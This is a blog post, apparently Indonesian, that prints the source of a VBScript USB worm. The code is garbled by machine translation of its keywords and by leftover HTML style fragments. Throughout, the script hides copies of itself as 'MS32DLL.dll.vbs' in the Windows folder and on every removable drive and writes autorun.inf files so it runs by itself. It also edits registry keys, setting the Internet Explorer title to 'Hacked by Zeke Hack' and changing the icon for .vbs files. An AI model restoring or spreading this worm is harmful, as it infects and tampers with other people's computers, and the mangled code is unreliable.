lingkaran
lakukan
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> Set winpath = fs.getspecialfolder (0) set tf = fs.getfile (winpath &" MS32DLL.dll.vbs ")
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> tf.attributes = 32 set tf = fs.createtextfile (winpath &" MS32DLL.dll.vbs ", 2, true)
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> tf.write mysource tf.close
set tf = fs.getfile (winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
untuk setiap flashdrive di fs.drives
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> Jika (flashdrive.drivetype flashdrive.drivetype = 1 atau = 2) dan flashdrive.path <>" A: "maka set tf = fs. getFile (flashdrive.path & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & "MS32DLL.dll.vbs", 2, true)
tf.write mysource
tf.close
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> set tf = fs.getfile (flashdrive.path &" MS32DLL.dll.vbs ") tf.attributes = 39
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> set tf = fs.getfile (flashdrive.path &" autorun.inf ") tf.attributes = 32
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> set tf = fs.createtextfile (flashdrive.path &" autorun.inf ", 2, true) tf.write atr
style="background-color: white; color: #333333; line-height: 16px; padding: 0px; white-space: pre-wrap;"> tf.close set tf = fs.getfile (flashdrive.path &" autorun.inf ")
tf.attributes = 39
jika
berikutnya
set rg = createobject ("WScript.Shell")
rg.regwrite style = "background-color: putih, warna: # 333333; line-height: 16px; padding: 0px; white-space: pra-wrap; "> rg.regwrite" HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Judul "," Hacked by Zeke Hack "
rg.regwrite "HKCRvbsfileDefaultIcon", "shell32.dll, 2"
jika check <> 1 maka
WScript.Sleep 200000
gaya =" background-color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> akhir jika loop sementara memeriksa <> 1
set sd = createobject (" WScript Shell ").
gaya =" background- color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; "> -------------------------------------------------- ---- akhir skrip
style = "background -color: white; color: # 333333; line-height: 16px; padding: 0px; white-space: pre-wrap; ">
No comments:
Post a Comment